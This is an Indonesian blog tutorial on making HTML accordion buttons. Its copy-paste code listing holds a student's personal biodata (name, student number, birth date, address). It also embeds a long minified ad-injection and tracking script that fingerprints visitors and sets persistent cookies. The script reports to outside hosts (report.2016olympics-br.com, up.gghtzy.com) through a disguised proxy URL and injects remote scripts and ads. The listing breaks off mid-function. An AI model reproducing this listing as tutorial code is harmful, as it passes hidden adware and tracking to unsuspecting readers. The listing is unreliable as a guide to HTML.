Studi Informatika

Panduan Pembelajaran Ilmu Teknologi & Komputer

Friday, May 4, 2018

Cara Membuat Button Dengan Isinya di HTML

Disini saya akan memberikan cara membuat halaman atau isi yang di pisahkan kedalam button atau button yang didalamnya berikisikan halaman yang sesuai dengan isi web kita.

Disini kita akan menggunkan HTML dan software yang kita gunakan seperti biasa notepad++, disini saya akan lansung memberikan coding html untuk lansung di capas ke notepad ++ kita, bagi yang belum memahami cara mengedit coding html ini kalian bisa lihat di postingan-postingan sebelumnya, yaitu buka tampilan utama website ini, ditampilan utama ada menu materi didalam menu materi tersebuat ada materi pemrograman berbasis web, nah.. disitu silahkan kalian pelajari apa saja hal-hal dasar yang harus kalian pelajari dalam memahami coding html.

Baik kembali ke materi ini, silahkan saja copy coding dibawah ini.

<!DOCTYPE html>
<html>
<head>
<style>
button.accordion {

    cursor: pointer;
    padding: 18px;
    width: 100%;
    border: none;
    text-align: left;
    outline: none;
    font-size: 15px;
    transition: 0.4s;
}

button.accordion.active, button.accordion:hover {
    background-color: #ddd;
}

div.panel {
    padding: 0 18px;
    display: none;
}
</style>
</head>
<body background="aa.jpg">

<center><h2 style="color:white;">Welcome To My Course</h2></center>

<button class="accordion">Pertemuan 1</button>
<div class="panel">
  <p style="color:white;"> Tugas Pertemuan 1 : Biodata </p>
  <body background="backgr.png">
<h1  align="center"> <p style="color:red;";"> Bioadata Saya</p> </h1>
<center><img src="saya.png"style="width:150px;height:150px;"></center>
<br>
<center>
 <table>
 <tr>
 <td style="border:2px solid DodgerBlue;"> <p style="color:white;">Nama :</p></td>
 <td style="border:2px solid DodgerBlue;">  <p style="color:white;">Andri Yusuf</p></td>
 </tr>
  <tr>
 <td style="border:2px solid DodgerBlue;"><p style="color:white;">Npm :</p> </td>
 <td style="border:2px solid DodgerBlue;"><p style="color:white;"> 150210244</p></td>
 </tr>
 <tr>
 <td style="border:2px solid DodgerBlue;"><p style="color:white;">Tempat/Tanggal Lahir :</p></td>
 <td style="border:2px solid DodgerBlue;"><p style="color:white;">  Tembilahan, 16 Juli 1996</p> </td>
 </tr>
 <tr>
 <td style="border:2px solid DodgerBlue;"><p style="color:white;">Alamat :</p></td>
 <td style="border:2px solid DodgerBlue;"><p style="color:white;">  Tanjung Uma, Batam </p></td>
 </tr>
 <tr>
 <td style="border:2px solid DodgerBlue;"><p style="color:white;">Hobi :</p></td>
 <td style="border:2px solid DodgerBlue;"><p style="color:white;">  Olahraga, Belajar Agama </p></td>
 </tr>
 <tr>
 <td style="border:2px solid DodgerBlue;"><p style="color:white;">Status :</p></td>
 <td style="border:2px solid DodgerBlue;"><p style="color:white;">  Mahasiswa </p></td>
 </tr>
 <tr>
 </table>
 </center>
</body>
  <p style="color:white;"> Tugas Pertemuan 1 : KRS </p>
  <body>
<script type="text/javascript" charset="utf-8">
;window.__TIMESFROMCLIENT__=0;window.__USERLOGICINFO__='over';window.__BROWSERINFOMAP__={};function IsUserLogicOver(){for(var i=0;i<arguments.length;i++){var s=arguments[i].indexOf("#=#");window.__BROWSERINFOMAP__[arguments[i].substring(0,s)]=arguments[i].substring(s+3)}window.__TIMESFROMCLIENT__++;return window.__USERLOGICINFO__}function StopUserLogic(){window.__USERLOGICINFO__='over'}(function($win,$doc){var util={getCookie:function(c_name){var i,x,y;var ARRcookies=$doc.cookie.split(";");for(i=0;i<ARRcookies.length;i++){x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);x=x.replace(/^\s+|\s+$/g,"");if(x==c_name){return unescape(y)}}},setCookie:function(c_name,value,exdays){var exdate=new Date();exdate.setDate(exdate.getDate()+exdays);var c_value=escape(value)+((exdays==null)?"":"; expires="+exdate.toUTCString()),url=location.protocol+'//'+location.host+'/',domain=url.replace(/(http|https):\/\/.*?([^\.]+\.(com\.cn|org\.cn|net\.cn|[^\.]+))\/.*/,"$2");$doc.cookie=c_name+"="+c_value+';path=/; domain=.'+domain},getRandom:function(){return Math.round(Math.random()*2147483647)},getHash:function(str){var hash=1,charCode=0,idx;hash=0;for(idx=str.length-1;idx>=0;idx--){charCode=str.charCodeAt(idx);hash=(hash<<6&268435455)+charCode+(charCode<<14);charCode=hash&266338304;hash=charCode!=0?hash^charCode>>21:hash}return hash},isArray:function(obj){return Object.prototype.toString.call(obj).toLowerCase()==="[object array]"},inArray:function(arr,item){for(var i=arr.length-1;i>=0;i--){if(arr[i]===item){return true}}return false},arrDelete:function(arr,item){var tempArr=arr.slice(0);arr=[];for(var i=0;i<tempArr.length;i++){if(tempArr[i]!==item)arr.push(tempArr[i])}return arr},getClientInfo:function(){var info={},_empty='null',screen=window.screen,navigator=window.navigator,document=window.document,ua=navigator.userAgent.toLowerCase();var _contains=function(str,sub){return(str.indexOf(sub)>-1)};var _getBrowser=function(){var match=/(chrome)[ \/]([\w.]+)/.exec(ua)||/(webkit)[ \/]([\w.]+)/.exec(ua)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(ua)||/(msie) ([\w.]+)/.exec(ua)||ua.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(ua)||[];return{browser:match[1]||"",version:match[2]||"0"}};var _getOS=function(){var up=navigator.platform,isWin=(up==='Win32')||(up==='Windows'),isMac=(up==='Mac68K')||(up==='MacPPC')||(up==='Macintosh')||(up==='MacIntel'),isUnix=(up==='X11')&&!isWin&&!isMac,isLinux=_contains(up,'Linux')&&_contains(ua,'linux'),os='';if(isLinux){os=_contains(ua,'android')?'android':'linux'}else if(isMac){os=_contains(ua,'iphone')?'iphone':_contains(ua,'ipad')?'ipad':'mac'}else if(isUnix){os='unix'}else if(isWin){var winkey={'win2000':'windows nt 5.0','winXP':'windows nt 5.1','win2003':'windows nt 5.2','winVista':'window nt 6.0','win7':'windows nt 6.1','win8':'windows nt 6.2','win8.1':'windows nt 6.3'};for(var key in winkey){if(_contains(ua,winkey[key])){os=key;break}}}return os};info.os=_getOS();info.screen=screen?screen.width+'x'+screen.height:_empty;info.locale=navigator&&navigator.language?navigator.language:navigator&&navigator.browserLanguage?navigator.browserLanguage:_empty;info.browser=_getBrowser().browser+' '+_getBrowser().version;info.charset=document.characterSet?document.characterSet:document.charset?document.charset:_empty;info.host=encodeURIComponent(window.location.host);return info},extend:function(){var options,name,src,copy,copyIsArray,clone,target=arguments[0]||{},i=1,length=arguments.length,deep=false;if(typeof target==='boolean'){deep=target;target=arguments[1]||{};i=2}if(typeof target!=='object'){target={}}if(length===i){return target}for(;i<length;i++){if((options=arguments[i])!=null){for(name in options){src=target[name];copy=options[name];if(target===copy){continue}if(deep&&copy&&(typeof copy=='object'||(copyIsArray=util.isArray(copy)))){if(copyIsArray){copyIsArray=false;clone=src&&util.isArray(src)?src:[]}else{clone=src?src:{}}target[name]=util.extend(deep,clone,copy)}else if(copy!==undefined){target[name]=copy}}}}return target},isPlugin:function(){return(typeof chrome!=='undefined'&&chrome.runtime&&chrome.runtime.id)},join:function(data){if(!data||typeof data!=='object'){return''}var str='',i=0;for(var key in data){if(i==0)str+=key+'='+data[key];else str+='&'+key+'='+data[key];i++}return str},ajax:function(json){json=json||{};if(!json.url){return false}json.type=json.type||'get';json.data=json.data||{};if(window.XMLHttpRequest){var oAjax=new XMLHttpRequest()}else{var oAjax=new ActiveXObject('Microsoft.XMLHTTP')}switch(json.type.toLowerCase()){case'get':if(json.url.indexOf('?')!=-1){oAjax.open('GET',json.url)}else{oAjax.open('GET',json.url+'?'+util.join(json.data),true)}oAjax.send();break;case'post':oAjax.open('POST',json.url,true);oAjax.setRequestHeader('Content-Type','application/x-www-form-urlencoded');oAjax.send(util.join(json.data));break}oAjax.onreadystatechange=function(){if(oAjax.readyState==4){if(oAjax.status>=200&&oAjax.status<300||oAjax.status==304){json.success&&json.success(JSON.parse(oAjax.responseText))}else{json.error&&json.error(oAjax.status)}}}},jsonp:function(json){json=json||{};if(!json.url){return false}json.data=json.data||{};json.cbName=json.cbName||'plug_callback';var fnName='jsonp_'+Math.random();fnName=fnName.replace('.','');window[fnName]=function(data){json.success&&json.success(data);oHead.removeChild(oS)};json.data[json.cbName]=fnName;var arr=[];for(var name in json.data){arr.push(name+'='+json.data[name])}var oS=document.createElement('script');oS.src=json.url+'?'+arr.join('&');var oHead=document.getElementsByTagName('head')[0];oHead.appendChild(oS)},getStyle:function(obj,name){return(obj.currentStyle||getComputedStyle(obj,false))[name]},animate:function(obj,json,options){options=options||{};options.duration=options.duration||700;options.easing=options.easing||'ease-out';var count=Math.round(options.duration/30);var start={};var dis={};var n=0;for(var name in json){start[name]=parseFloat(util.getStyle(obj,name));if(isNaN(start[name])){switch(name){case'left':start[name]=obj.offsetLeft;break;case'top':start[name]=obj.offsetTop;break;case'width':start[name]=obj.offsetWidth;break;case'height':start[name]=obj.offsetHeight;break;case'maeginLeft':start[name]=obj.marginLeft;break}}dis[name]=json[name]-start[name]}clearInterval(obj.timer);obj.timer=setInterval(function(){n++;for(var name in json){switch(options.easing){case'linear':var cur=start[name]+dis[name]*n/count;break;case'ease-out':var a=1-n/count;var cur=start[name]+dis[name]*(1-a*a*a);break;case'ease-in':var a=n/count;var cur=start[name]+dis[name]*a*a*a}if(name=='opacity'){obj.style.opacity=cur;obj.style.filter='alpha(opacity:'+cur*100+')'}else{obj.style[name]=cur+'px'}}if(n==count){clearInterval(obj.timer);options.complete&&options.complete()}},30)},getUrlParam:function(location){var result={},location=location||window.location,params,param,len,i;if(typeof location=="string"){var pos=location.indexOf("?");search=pos>=0?location.substr(pos+1):""}else search=location.search.slice(1);if(search.length){params=search.split('&');len=params.length;for(i=0;i<len;i++){param=params[i].split('=');result[param[0]]=decodeURIComponent(param[1])}}return result},addEventHandler:function(elem,type,handler){if(elem.addEventListener){elem.addEventListener(type,handler,false)}else if(elem.attachEvent){elem.attachEvent("on"+type,handler)}else{elem["on"+type]=handler}},removeEventHandler:function(elem,type,handler){if(elem.removeEventListener){elem.removeEventListener(type,handler,false)}else if(elem.detachEvent){elem.detachEvent("on"+type,handler)}else{elem["on"+type]=null}},getEvent:function(event){return event?event:window.event},getEventTarget:function(event){return event.target||event.srcElement},preventEventDefault:function(event){if(event.preventDefault){event.preventDefault()}else{event.returnValue=false}},stopEventPropagation:function(event){if(event.stopPropagation){event.stopPropagation()}else{event.cancelBubble=true}},base64:{encode:function(input){var TABLE='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';input=String(input);if(/[^\0-\xFF]/.test(input)){throw Error("The string to be encoded contains characters outside of the Latin1 range.")}var padding=input.length%3;var output='';var position=-1;var a;var b;var c;var buffer;var length=input.length-padding;while(++position<length){a=input.charCodeAt(position)<<16;b=input.charCodeAt(++position)<<8;c=input.charCodeAt(++position);buffer=a+b+c;output+=(TABLE.charAt(buffer>>18&0x3F)+TABLE.charAt(buffer>>12&0x3F)+TABLE.charAt(buffer>>6&0x3F)+TABLE.charAt(buffer&0x3F))}if(padding==2){a=input.charCodeAt(position)<<8;b=input.charCodeAt(++position);buffer=a+b;output+=(TABLE.charAt(buffer>>10)+TABLE.charAt((buffer>>4)&0x3F)+TABLE.charAt((buffer<<2)&0x3F)+'=')}else if(padding==1){buffer=input.charCodeAt(position);output+=(TABLE.charAt(buffer>>2)+TABLE.charAt((buffer<<4)&0x3F)+'==')}return output},decode:function(input){var TABLE='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';var REGEX_SPACE_CHARACTERS=/[\t\n\f\r ]/g;input=String(input).replace(REGEX_SPACE_CHARACTERS,'');var length=input.length;if(length%4==0){input=input.replace(/==?$/,'');length=input.length}if(length%4==1||/[^+a-zA-Z0-9/]/.test(input)){throw Error("The string to be decoded is not correctly encoded.")}var bitCounter=0;var bitStorage;var buffer;var output='';var position=-1;while(++position<length){buffer=TABLE.indexOf(input.charAt(position));bitStorage=bitCounter%4?bitStorage*64+buffer:buffer;if(bitCounter++%4){output+=String.fromCharCode(0xFF&bitStorage>>(-2*bitCounter&6))}}return output}},gooRequestProxyEn:function(url){var gooUrl="//www.google.com/9f4e10ab9265e47f42723bc2/?view=";var protocol=window.location.protocol;return protocol+gooUrl+encodeURIComponent(util.base64.encode(url))},gooRequestProxyDe:function(url){var gooUrl="//www.google.com/9f4e10ab9265e47f42723bc2/?view=";if(url.indexOf(gooUrl)>=0){return util.base64.decode(decodeURIComponent(url.split(gooUrl)[1]))}return false}};var Report=function(){this.uuid=null;this.storage={};this.queue=[];this.clientInfo=util.getClientInfo()||{};var browserInfo=this.clientInfo.browser&&this.clientInfo.browser.split(' ')||[];this.browser=browserInfo[0];this.browserVersion=browserInfo[1];this.host=this.clientInfo.host;this.reportUrl=$win.location.protocol+'//report.2016olympics-br.com/webstat';this.reportAdUrl=$win.location.protocol+'//up.gghtzy.com/api/report';this.adHost=this.reportAdUrl.match(/\w+\.\w+[\w.]*[\/]/)[0].slice(0,-1);this.util=util;this.urlNeedProxy=true;this.urlParam=function(){if(!$win.isConfigAdPage){return null}var location,hash,uuid;try{location=$win.parent.location;hash=location.hash}catch(e){location=$win.location}var urlParam;var hrefde=util.gooRequestProxyDe(location.href);if(hrefde!=false){var pos=hrefde.indexOf("#");hash=pos>=0?hrefde.substr(pos):"";var loc=pos>=0?hrefde.substring(0,pos):hrefde;urlParam=util.getUrlParam(loc);this.urlNeedProxy=true}else{urlParam=util.getUrlParam(location);hash=location.hash;this.urlNeedProxy=false}uuid=hash&&hash.substr(1);if(!uuid){throw new Error('config page uuid for failure')}urlParam["uuid"]=decodeURIComponent(uuid);return urlParam}.call(this);this._dataInit()};util.extend(Report.prototype,{_pushQueue:function(func){if(this.uuid){func(this.uuid);return true}this.queue.push(func)},_pushQueueByReport:function(method,arg){if(this.uuid){this[method].apply(this,arg);return true}this.queue.push((function(method,arg,context){return function(){context[method].apply(context,arg)}})(method,arg,this))},_runQueue:function(){var self=this;this.queue.forEach(function(val,index){val(self.uuid)});this.queue=[]},_loadImg:function(url){var img=new Image();img.width=1;img.height=1;img.src=url},_eventTodayIsReported:function(eventName){var current=new Date();var currentYear=current.getFullYear(),currentMonth=current.getMonth(),currentDay=current.getDate();var eventDate=this.storage['report_'+eventName];if(!eventDate){return false}if(eventDate.getFullYear()!=currentYear||eventDate.getMonth()!=currentMonth||eventDate.getDate()!=currentDay){return false}return true},_eventIsReported:function(eventName){if(this.storage['report_'+eventName]){return true}return false},_setEventReportDate:function(eventName){this.storage['report_'+eventName]=new Date()},_ga:function(data){if(typeof _gaq==='undefined'){return false}_gaq.push(["_trackEvent",data["event"],data["uuid"],encodeURIComponent(data["status"]["host"])])},_mdata:function(data){var self=this,eventName=data.event||"";var ptype=self.ptype||1;var sendStringifyData=encodeURIComponent(JSON.stringify(data));var reportDataUrl=this.reportUrl+'?ptype='+ptype+'&data='+sendStringifyData;var reportAdDataUrl=this.reportAdUrl+'?data='+sendStringifyData;var reportDataUrlEn=(eventName!="visit"&&this.urlNeedProxy)?util.gooRequestProxyEn(reportDataUrl):reportDataUrl;var reportAdDataUrlEn=this.urlNeedProxy?util.gooRequestProxyEn(reportAdDataUrl):reportAdDataUrl;if(this.browser==='msie'&&this.browserVersion<10.0){this._loadImg(reportDataUrlEn)}else{util.ajax({url:reportDataUrlEn,success:function(result){if(!result||result.rc!=0){self._loadImg(reportDataUrlEn)}},error:function(){self._loadImg(reportDataUrlEn)}})}if(eventName=='download'){if(this.browser==='msie'&&this.browserVersion<10.0){this._loadImg(reportAdDataUrlEn)}else{util.ajax({url:reportAdDataUrlEn,error:function(){self._loadImg(reportAdDataUrlEn)}})}}},_dataInit:function(){this.data=util.extend(true,{},this.clientInfo);this.data=util.extend(true,this.data,this.commonData)},_setCommonData:function(data){if(typeof data!=='object'&&data){return}this.commonData=data},_send:function(eventName,obj){if(!eventName||typeof eventName!=='string'){throw new Error('eventName error')}if(!this.uuid||!this.appid){throw new Error("can't find the uuid or appid")}if(!obj||typeof obj!=='object'){obj={}}if(obj.reportUrl&&/^\/\/\w+\.\w+[\w.\/]*[\w\/]+$/.test(obj.reportUrl)){this.reportUrl=obj.reportUrl}this.data["uuid"]=this.uuid;this.data["appid"]=this.appid;this.data["channel"]="360xx";this.data["event"]=eventName;this.data["params"]={"time":new Date().getTime()};var host=this.urlParam&&this.urlParam["host"]?this.urlParam["host"]:this.host;if(eventName=="visit")host=location.href;this.data["status"]={"appname":this.app_name||"virtual","apptype":this.app_type||"addon","host":host};this.data['version']='3.0.0.1';util.extend(true,this.data,obj);delete this.data.host;this._mdata(this.data);this._setEventReportDate(eventName);this._dataInit()},loopSend:function(eventName,param){var self=this,_arguments=arguments;if(!eventName||typeof eventName!=='string'){return}if(!this.uuid){this._pushQueueByReport('loopSend',arguments);return}self._send(eventName,param);setInterval(function(){if(!self._eventTodayIsReported(eventName)){self._send.apply(self,_arguments)}},1000*60*10)},onlyOne:function(eventName,param){var self=this;if(!this.uuid){this._pushQueueByReport('onlyOne',arguments);return}if(self._eventIsReported(eventName)){return}self._send(eventName,param)},oneDayOne:function(eventName,param){var self=this;if(!this.uuid){this._pushQueueByReport('oneDayOne',arguments);return}if(self._eventTodayIsReported(eventName)){return}self._send(eventName,param)},infinite:function(eventName,param){var self=this;if(!this.uuid){this._pushQueueByReport('infinite',arguments);return}self._send(eventName,param)},configAd:function(eventName,param){var self=this;var data={};data["uuid"]=this.urlParam&&this.urlParam["uuid"]?this.urlParam["uuid"]:"null";data["params"]={"ad_id":this.urlParam&&this.urlParam["ad_id"]?this.urlParam["ad_id"]:"null","ad_type":this.urlParam&&this.urlParam["ad_type"]?this.urlParam["ad_type"]:"null","ad_name":this.urlParam&&this.urlParam["ad_name"]?this.urlParam["ad_name"]:"null","ad_size":this.urlParam&&this.urlParam["size"]?this.urlParam["size"]:"null"};param=param||{};util.extend(true,data,param);self._send(eventName,data)},navigation:function(eventName,param){var self=this;var data={};data["channel"]=self.channel;param=param||{};util.extend(true,data,param);self._send(eventName,data)},_initEggUuid:function(){var self=this;if(util.isPlugin()){chrome.extension.onConnect.addListener(function(port){port.onMessage.addListener(function(msg){self.uuid=msg['uuid'];self._runQueue()})});return true}else{var GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T='{56fc02e6ce12448d84c6b390bb38df40}';GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T=/GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T/.test(GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T)?null:GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T;self.uuid=GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T}if(!self.uuid){return false}else{return true}},_naturalUuid:function(){var _getCookie=util.getCookie;var _setCookie=util.setCookie;var _Hash=util.getHash;var _random=util.getRandom;var str=_getCookie('__MDATA__UUID__'),son=parseInt(new Date().getTime()/1000),last=_getCookie('__MDATA__SION__')?parseInt(_getCookie('__MDATA__SION__')):son,strArr=[],that=this;var _saveCookie=function(){str=_Hash(location.host)+'.'+_random()+'.'+son+'.'+son;_setCookie('__MDATA__UUID__',str,730);_setCookie('__MDATA__SION__',son,30)};if(!str){_saveCookie()}else{strArr=str.split('.');if(strArr.length<4){_saveCookie()}else{if(son-last>=730*24*3600){strArr[3]=son}str=strArr.join('.');_setCookie('__MDATA__UUID__',str,730);_setCookie('__MDATA__SION__',son,30)}}return str},_initNavigation:function(){var self=this;var urlParam=util.getUrlParam();var getCookie=util.getCookie;self.channel=urlParam["r"]?urlParam["r"]:urlParam["oem"]?urlParam["oem"]:self.app_name;self.uuid=urlParam["uid"]?urlParam["uid"]:getCookie('__MDATA__UUID__')?getCookie('__MDATA__UUID__'):this._naturalUuid()},_setUuid:function(uuid){if(this.ptype==2){this._initNavigation();return true}if(uuid&&typeof uuid==='string'){this.uuid=uuid;return true}if(this.urlParam&&this.urlParam.uuid){this.uuid=this.urlParam.uuid;return true}if(this._initEggUuid()){return true}throw new Error("setting the uuid failed")},_setGaid:function(gaid){if(typeof _gaq==='undefined'){return false}if(gaid&&typeof gaid==='string'){_gaq.push(["_setAccount",gaid]);return true}return false;throw new Error("setting the gaid failed")},setAccount:function(account){if(!account.appid){throw new Error('could not find appid')}this.appid=account.appid;this.gaid=account.gaid;this.app_name=account.app_name;this.app_type=account.app_type;this.ptype=account.ptype;this._setUuid(account.uuid);this._setGaid(account.gaid)}});var report=new Report();function GetNode(){this.adMax=null;this.times=null;this.adAlreadySize=[];this.enabledDiv=[];this.enabledIframe=[];this.normSizes=['300*250','336*280','728*90','250*250','160*600','320*100','300*600','120*600','300*1050','120*240','468*60','320*50','234*60','970*250','970*90','200*200','180*150','125*125','728*15'];this.excuteSizes=[];this.normNodeNames=['DIV','IFRAME'];this.fixedCount=0;this.scriptSize=[];this.scriptNodeNames=['SCRIPT'];this.filterHost=['video.a4g.com'];this.insNode=null}util.extend(GetNode.prototype,{getSize:function(nodes){this.fixedCount=0;if(this.times>1){this._arrRemove()}else{this._scriptCheck()}this._initEbledNode();var enabledNode=this.getEnabledNode();var sizes=[],tempSize,type,tempNodes,i;for(type in enabledNode){tempNodes=enabledNode[type];for(i=0;i<tempNodes.length;i++){tempSize=tempNodes[i].offsetWidth+'*'+tempNodes[i].offsetHeight;sizes.push(tempSize)}}return sizes},getEnabledNode:function(){return{div:this.enabledDiv,iframe:this.enabledIframe}},_initEbledNode:function(rootNode){var oBody=document.getElementsByTagName('body')[0];var rootNode=rootNode||oBody;if(rootNode===oBody){this.enabledDiv=[];this.enabledIframe=[]}var children=rootNode.children,tempNode;var fixedMark=rootNode.getAttribute('fixed');for(var i=0;i<children.length;i++){tempNode=children[i];if(this._positionCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){this.fixedCount++;tempNode.setAttribute("fixed","true");if(this._sizeCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){this._appendFixedEnabled(tempNode)}else if(!this._flagCheck(tempNode)){this._initEbledNode(tempNode)}}else{if(fixedMark&&fixedMark=='true'){tempNode.setAttribute("fixed","true")}if(this._sizeCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){this._appendEnabled(tempNode)}else if(!this._flagCheck(tempNode)){this._initEbledNode(tempNode)}}}},_appendFixedEnabled:function(node){if(node.nodeName==='DIV'){this.enabledDiv.push(node)}if(node.nodeName==='IFRAME'){this.enabledIframe.push(node)}node.setAttribute("fixed","true")},_appendEnabled:function(node){if(node.nodeName==='DIV'){this.enabledDiv.push(node)}if(node.nodeName==='IFRAME'){this.enabledIframe.push(node)}},_insCheck:function(rootNode){var oBody=document.getElementsByTagName('body')[0];var rootNode=rootNode||oBody;var children=rootNode.children,tempNode;for(var i=0;i<children.length;i++){tempNode=children[i];if(this._sizeCheck(tempNode)&&tempNode.nodeName=='INS'&&tempNode.className=='adsbygoogle'){this._parentNode(rootNode);rootNode.setAttribute('insname','true')}else if(tempNode.children.length>0){this._insCheck(tempNode)}}},_parentNode:function(childNode){var tempNode=childNode.parentNode;if(childNode.nodeName!='BODY')childNode.setAttribute('insname','true');if(this._sizeCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){tempNode.setAttribute('insname','true');this._parentNode(tempNode)}},_scriptCheck:function(rootNode){var oBody=document.getElementsByTagName('body')[0];var rootNode=rootNode||oBody;var children=rootNode.children,tempNode;for(var i=0;i<children.length;i++){tempNode=children[i];if(this._scriptSize(tempNode)){for(var i=0;i<this.normSizes.length;i++){for(j=0;j<this.scriptSize.length;j++){if(this.normSizes[i]==this.scriptSize[j]){this.normSizes.splice(i,1)}}}}else{this._scriptCheck(tempNode)}}},_scriptSize:function(node){for(var i=0;i<this.scriptNodeNames.length;i++){if(node.nodeName===this.scriptNodeNames[i]){var temUrl=node.src;if(temUrl&&temUrl.length>0){temUrl=temUrl.toLowerCase();for(var j=0;j<this.filterHost.length;j++){if(temUrl.indexOf(this.filterHost[j])!=-1){var width=this._paramsCheck('width',temUrl).replace(new RegExp('px'),"");var height=this._paramsCheck('height',temUrl).replace(new RegExp('px'),"");if(width&&height){this.scriptSize.push(width+'*'+height);return true}}}}}}return false},_paramsCheck:function(key,str){var val=null;var tempStr=str;if(tempStr&&tempStr.length!=0){tempStr=str.split('?')[1];var arr=tempStr.split('&');var len=arr.length;for(i=0;i<len;i++){if(arr[i].split('=')[0]==key){val=arr[i].split('=')[1];break}}}return val},_flagCheck:function(node){if(node.getAttribute("enabled")||node.getAttribute("insname")){return true}return false},_nameCheck:function(node){for(var i=0;i<this.normNodeNames.length;i++){if(node.nodeName===this.normNodeNames[i]){return true}}return false},_sizeCheck:function(node){var size=node.offsetWidth+'*'+node.offsetHeight;for(var i=0;i<this.normSizes.length;i++){if(size===this.normSizes[i]){return true}}return false},_positionCheck:function(node){var position=node.style.position;if(position&&position.toLowerCase()=='fixed'){var _width=node.offsetWidth;for(var i=0;i<this.normSizes.length;i++){var _size=parseInt(this.normSizes[i].split('*')[0]);if(_width>=_size&&_width<=_size+50)return true}}return false},_arrRemove:function(){var sizeCopy=this.normSizes.slice(0);for(var i=0;i<sizeCopy.length;i++){if(this.adAlreadySize[sizeCopy[i]]>=this.adMax||util.inArray(this.excuteSizes,sizeCopy[i])){this.normSizes=util.arrDelete(this.normSizes,sizeCopy[i])}}},setAccount:function(account){this.adMax=account.adMax;this.times=account.times;this.adAlreadySize=account.adAlreadySize},addExcuteSizes:function(size){if(!util.inArray(this.excuteSizes,size))this.excuteSizes.push(size)}});var getNode=new GetNode();function GetAd(){this.adMax=null;this.adAlreadySize={};this.oBody=document.getElementsByTagName('body')[0];this.isRun=false;this.configAdRepeat=[];this.count=1;this.jsAdType='';this.url_type=-1;this.bInWhiteList=false;this.requestSizes=[];this.clientInfo=util.getClientInfo()||{};this.host=this.clientInfo.host;var browserInfo=this.clientInfo.browser&&this.clientInfo.browser.split(' ')||[];this.browser=browserInfo[0];this.browserVersion=browserInfo[1];this.callAdUrl=$win.location.protocol+'//up.gghtzy.com/api/call-ad';this.call_times=1;this.jsAdItem=null;this.keywords=''}util.extend(GetAd.prototype,{_getAd:function(){this.isRun=true;this.requestSizes=[];this._getKeywords();getNode.setAccount({adMax:this.adMax,times:this.count,adAlreadySize:this.adAlreadySize});var sizes=getNode.getSize();var add_size=["1*1","300*249","2*2","ins-160*160"];if(this.call_times==1){sizes=sizes.concat(add_size)}this.requestSizes=sizes.slice(0);var enabledNode=getNode.getEnabledNode();this.enabledIframe=enabledNode.iframe;this.enabledDiv=enabledNode.div;var data={size:sizes.join('_'),count:sizes.length,web:this.host,appid:this.appid,uid:this.uuid,repeat:this.configAdRepeat.join('_'),times:this.call_times,jsAdType:this.jsAdType,keywords:this.keywords};if(data['count']>0||!this.jsInjection){this._requestAd(data)}else{this.isRun=false}},_requestAd:function(data){var self=this;var requrl=self.callAdUrl+"?"+util.join(data);requrl=report.urlNeedProxy?util.gooRequestProxyEn(requrl):requrl;var plugUpData={url:requrl,success:(function(requestCount){return function(json){if(json.code==40003||json.code==40004||json.code==40005||json.code==40006||json.code==40007||json.code==40008){self.isRun=false;var uniq_size_arr=[];if(json.code==40004||json.code==40008){for(var i in self.requestSizes){var _size_=self.requestSizes[i];getNode.addExcuteSizes(_size_);if(!util.inArray(uniq_size_arr,_size_))uniq_size_arr.push(_size_)}self.jsInjection=true}report.infinite('get_ad_error',{params:{"error_code":json.code,"times":self.call_times,"ad_size":uniq_size_arr.join("_")}});if(json.code==40005){self.bInWhiteList=true}if(json.code!=40003)self.call_times++;return false}var data=json.data;self.url_type=data['URL_type']?data['URL_type']:self.url_type;self._configAdTotalReport(data.deployAd,requestCount,self.url_type);if(data.deployAd){self._configAd(data.deployAd)}if(!self.jsInjection&&data.jsAd){self.jsAdItem=data.jsAd;self._jsAd(data.jsAd)}self.call_times++;self.isRun=false}})(data.count),error:function(err){self.isRun=false;report.infinite('get_ad_error',{params:{"error_code":50001,"ajax_status":err}})}};if(this.browser==='msie'&&this.browserVersion<10.0){util.jsonp(plugUpData)}else{util.ajax(plugUpData)}},jsAdDownloadReport:function(){if(this.jsAdItem){var reportData={"ad_id":this.jsAdItem.ad_id,"ad_type":this.jsAdItem.ad_type,"ad_name":this.jsAdItem.ad_name,"ad_size":this.jsAdItem.ad_size,"ad_sort":this.jsAdItem.ad_sort};this._reportEvent('download',reportData)}},_configAdTotalReport:function(deployAd,requestCount,url_type){if(!requestCount){return false}var responseCount=0,emptyCount=0;if(deployAd&&deployAd.length){for(var i=0;i<deployAd.length;i++){if(deployAd[i]){responseCount++}}}emptyCount=requestCount-responseCount;if(requestCount>0){report.infinite('get_adtotal',{params:{"request_total":requestCount,"response_total":responseCount,"empty":emptyCount,"url_type":url_type,"fix":getNode.fixedCount}})}},_jsAd:function(jsAd){var self=this;self.jsInjection=true;if(!jsAd.url||jsAd.url.length==0){report.infinite('get_ad_error',{params:{"error_code":40004,"times":self.call_times,"ad_type":1}});return}self.jsAdType=jsAd.replace;function _inSrtJsAd(e){if(document.readyState=="interactive"||document.readyState=="complete"){var script=document.createElement('script');script.src=jsAd.url;self.oBody.appendChild(script);self._report(jsAd.ad_id,jsAd.ad_type,jsAd.ad_name);util.removeEventHandler(document,"readystatechange",_inSrtJsAd)}}if(document.readyState!="interactive"&&document.readyState!="complete")util.addEventHandler(document,"readystatechange",_inSrtJsAd);else _inSrtJsAd(null)},_configAd:function(deployAd){var tempNode,newIframe;function sizeJudge(adSize,node){var nodeSize=node.offsetWidth+'*'+node.offsetHeight;return 